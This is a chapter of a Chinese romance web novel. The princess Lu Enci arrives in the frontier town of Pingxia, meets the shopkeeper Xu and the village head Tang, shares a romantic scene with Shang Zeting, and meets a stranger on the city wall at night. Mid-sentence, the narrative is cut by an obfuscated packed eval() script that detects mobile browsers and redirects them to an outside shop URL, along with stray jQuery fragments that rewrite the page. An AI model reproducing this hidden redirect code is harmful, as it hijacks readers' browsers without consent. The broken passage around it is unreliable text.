52.此夜无月再相遇

作品:《太液池里可以养鸬鹚吗

    “许老板!”卢恩慈唤停马车,从车内跳下,走至许老板跟前。


    许老板正想行礼,被卢恩慈扶住:“免礼免礼!没有你冒着风险传递消息,我也不能安然无恙地待在这儿啊。”


    “嘘!”许老板比了噤声的手势,手上的碧玉手环苍翠欲滴。


    看看四周无人注意,她才道:“长公主喜欢我店里的饰品就好。”


    卢恩慈这才意识到自己刚刚太过兴奋,虽然计谋已成,但依然是得保守的秘密。


    “我很喜欢,还戴着呢。”卢恩慈亮出手上的金镯子:“不过我还没给钱,我这就——”


    许老板拉过卢恩慈:“不用,秦将军付过钱了,这是他特意嘱咐我送予您的。长公主要想还人情,就还给秦将军吧。”


    卢恩慈这下真的很不好意思了——她来了凉州这么久,一直承秦将军的好意,等她安顿下来,必须要当面好好谢过!


    “许老板来平夏,是来做生意的吗?”卢恩慈人生地不熟,趁着有熟人,赶紧多问问。


    “平夏只有农田,哪来的生意做?”许老板摇摇头:“我是平夏人,回来看望乡亲的。”


    “我之后要奉父皇之命,在平夏常住了。”卢恩慈指指前方的一座宅院:“我住在那儿。”


    “那之前是一个富农的农庄。”许老板若有所思地点点头:“我是说这些天怎么有人在那里清扫。”


    “许老板觉得平夏是个怎样的地方?”卢恩慈好奇道。


    “种地的地方。”许老板身子转向远处的农田:“本就是之前部队军屯才形成的聚落,除了种地,实在没什么新奇的。长公主在这,肯定会有很大落差的。”


    “许老板,我自小在山野长大,谈不上有什么落差。”卢恩慈眺望远处被积雪覆盖的麦田:“若是能长久平安,哪怕只是种地,也是一种幸福。”


    “可我们这最缺的,就是长久平安。”许老板转回身:“但愿瑞雪兆丰年吧。长公主,我还有事,先行一步了。”


    “长公主?”雪青见那位许老板离去,才过来说:“宅子收拾好了,我们进去吧。”


    刚抬脚进去,一位打扮朴实,约莫四十多岁的中年妇女上前迎接:“我是平夏镇的里正,姓唐。负责这里的户籍赋税、督促农桑等。”


    “唐里正。”卢恩慈打过招呼:“很少见到女性当里正呢。”


    “战事持久,留在平夏的多为老弱妇孺,我自告奋勇组织乡亲们生产,大家便推举我当里正了。”唐里正回答道。


    “我刚刚遇到了许老板。”卢恩慈打量着宅子,虽不豪华,但该有的都有:“她把金店经营得有声有色。”


    “许老板?哈哈,我一般叫她许三妹。”唐里正打开了话匣子,不那么拘谨了:“她脑子确实活络,人也心善,金店赚的钱,都回馈乡里,资助穷贫。”


    “平夏真可谓是女中豪杰辈出。我该向你们学习才是。”卢恩慈道出真心话。


    原以为这里人会沉浸在战苦中痛不欲生。但是,她们像是盛开在沙漠里的苦水玫瑰,迎着北地的寒风,热烈恣意地盛开着,怒放着蓬勃绚烂的生命力。


    “让长公主见笑了。”唐里正看着卢恩慈带来的人陆陆续续行李安放好,便道:“长公主有什么需要,尽可来找我,我住这条街第二家。就不多打扰了。”


    “唐里正您去忙吧。”卢恩慈送她至门口。


    “殿下!”商泽亭一直默默不语地跟着她,目光灼灼,好像有什么事想要跟她说。


    卢恩慈被他看得莫名有些心虚:“怎么啦?”


    “您的卧房,微臣为您打点好了,过去看一眼吧,看看可还有缺漏需要添置。”商泽亭引她进屋,随即关上门。


    卢恩慈不觉有异,打量着房间。


    屋内窗明几净,家具一应俱全。商泽亭还特意把送给她的花灯也带过来,摆在书架的空余处。


    书案也按照宫里的时候布置好,笔墨纸砚都放在趁手的位置。书案中央,是商泽亭给她编写的课本。


    卢恩慈的目光移至一旁,看到墙上挂着一幅画,她走过去想细细看,被惊得连连后退。


    这不是她中秋夜不慎弄丢的那幅画嘛!


    她后退几步,撞到商泽亭的怀里。但是卢恩慈不敢回头,毕竟那幅画是商泽亭给她的礼物……


    “看来长公主很惊讶于这幅画出现在这里。”商泽亭将卢恩慈揽在怀里,语气间并无责怪之意。


    “我能解释的!”卢恩慈躲开商泽亭的目光:“那天中秋佳节,我看雪青一个人,于是带着她去御花园散散心。”


    商泽亭仍从背后揽着她,一语未发。


    “之后我和雪青玩捉迷藏,我躲在太液池里的假山石里。”卢恩慈声音越来越低:“结果把塞在怀里的画轴弄丢,被一个人捡走了,再也没找到。”


    “长公主好身手。”商泽亭被卢恩慈逗笑了,刮刮她的鼻子:“你无心之失,我不怪你。”


    “那你告诉我,这幅画怎么又找到了?”卢恩慈回抱住商泽亭。


    冬日午后的阳光透过窗棱,满整个房间。将相拥二人的身形拉出长长的影子。


    “被人捡到了,您觉得是谁?”商泽亭故意留悬念,让卢恩慈猜。


    “不会是你吧!”卢恩慈头抵着商泽亭肩膀,指尖描摹他衣服上的织布纹路:“亦或是一位随行的侍者?”


    “都不是。”商泽亭轻点卢恩慈的眉心:“是秦将军。”


    “啊?”卢恩慈从商泽亭怀抱里挣脱开:“秦牧山将军?”


    “还能是哪个秦将军?”商泽亭取下墙上的画卷:“他通过字迹认出这幅画是我画的,我便把画中人是长公主告诉他了。”


    “嗨呀!”卢恩慈坐到一边,害臊起来:“若是见到秦将军,我真不知如何是好了!”


    “这有什么?见面时,该怎样就怎样。”商泽亭顿了顿:“对了,长公主,我还有事和您说。”


    “我有些不敢听了。”卢恩慈跑到角落里蹲着。


    商泽亭跟过来,屈膝在她身边:“是臣自己的事,和长公主无关。”


    “什么事?”


    “您身为长公主,有食邑俸禄。微臣辞了官,可就没有俸禄了。”商泽亭改口道:“我现在无事一身轻,也不能再自称臣了。”


    “你的身家,一天花一根金条,都够活到下辈子了。”卢恩慈回过头。


    “那也不能白吃白喝呀。”商泽亭取出一册启蒙课本:“秦将军办了一所义学,只要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069852|192395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是适龄儿童,一概可以入学,我打算去那里教书。”


    “可以呀!”卢恩慈拍手叫好:“你很适合当夫子,教的知识生动易懂。”


    还没说完,卢恩慈赶紧坐到书桌前:“作为你的开山大弟子,我可不能荒废学业!”


    “那所义学距离这里,骑马要花上两刻钟。”商泽亭俯身看着卢恩慈翻动书页:“我白天就不能陪您了。”


    “没事,白天不陪的话,那晚上陪我嘛!”卢恩慈话刚说出口,意识到这话有暗示什么的意思,低垂下头,一声不吭。


    “好。”商泽亭按住卢恩慈乱翻书的手:“我晚上必定夜夜陪您。”


    两人又玩闹一阵,那所义学的人来找商泽亭,似乎是商量什么事情,商泽亭便离开,只留下卢恩慈一人。


    卢恩慈坐着看了会儿书,又跑去帮雪青收拾东西。


    “这么下去也不是个事,我也得给自己找点事情做。”卢恩慈决定去找唐里正,看她那缺不缺人手。


    正值寒冬,日头落得早,此时屋外已经漆黑一片。


    一夜北风紧。凛凛的寒风呼啸而过,覆雪映衬着边塞无边无际的原野,如同一幅留白的山水画。


    “还是明早再去找唐里正吧。”卢恩慈嘴上这么说着,脚却没有回屋。


    像是受到了某种召唤,卢恩慈迫切地想登上眼前的这座古城墙。


    她加紧了步伐,手脚并用,登上城墙高处。


    放眼望去,视野开阔。没有山川阻挡,甚至能看到凉州城的点点灯火。


    风雪迎面扑来,但她竟然感受不到寒冷,只觉天地倏忽,一切尽收眼底。


    若能坐拥这这壮阔河山……


    “咳咳,有人?”卢恩慈脑后传来一道爽朗的男声。


    此夜无月,卢恩慈看不清那男子的面容。她生出些警惕,默默摸到佩戴的匕首:“是。”


    “这么晚了,怎么不回家?”那男子疑惑道。


    “你不也一样吗?”卢恩慈紧了紧衣领,反问。


    “听你口音,不像是本地人。”那男子停顿片刻:“你是跟着长公主从京城过来的吧。”


    卢恩慈不想在一个陌生男子前暴露自己真实身份,半真半假道:“是,我是长公主的随侍。”


    “你不在长公主前好好侍候,跑城墙上来做什么?”


    “长公主已经歇息了。”卢恩慈指了指东边:“我登上城墙,是因为想家。说不定登上城墙,能看到家乡呢?”


    “这样啊。”那男子语气柔和许多:“可惜这座城墙并没有高到让你望到家乡。”


    卢恩慈感叹道:“无妨,登上高处看风景,已经疏解我的思乡之情了。”


    “既来之,则安之。”那男子离她两三步远:“你在这里过得好,家乡的亲人才会心安。”


    卢恩慈淡淡地“嗯”了一声,不再说话,静静观赏眼前的塞上雪景。


    “作为长公主的随侍,你会后悔跟她远赴边疆吗?”那男子冷不丁发问。


    卢恩慈扭过头,听声音看身形,应该是位二十左右的青年。


    卢恩慈防备心突起:“不会。因为我是自愿追随她的。”


    “是啊,她是一个很好的人。”那男子忽而浅笑。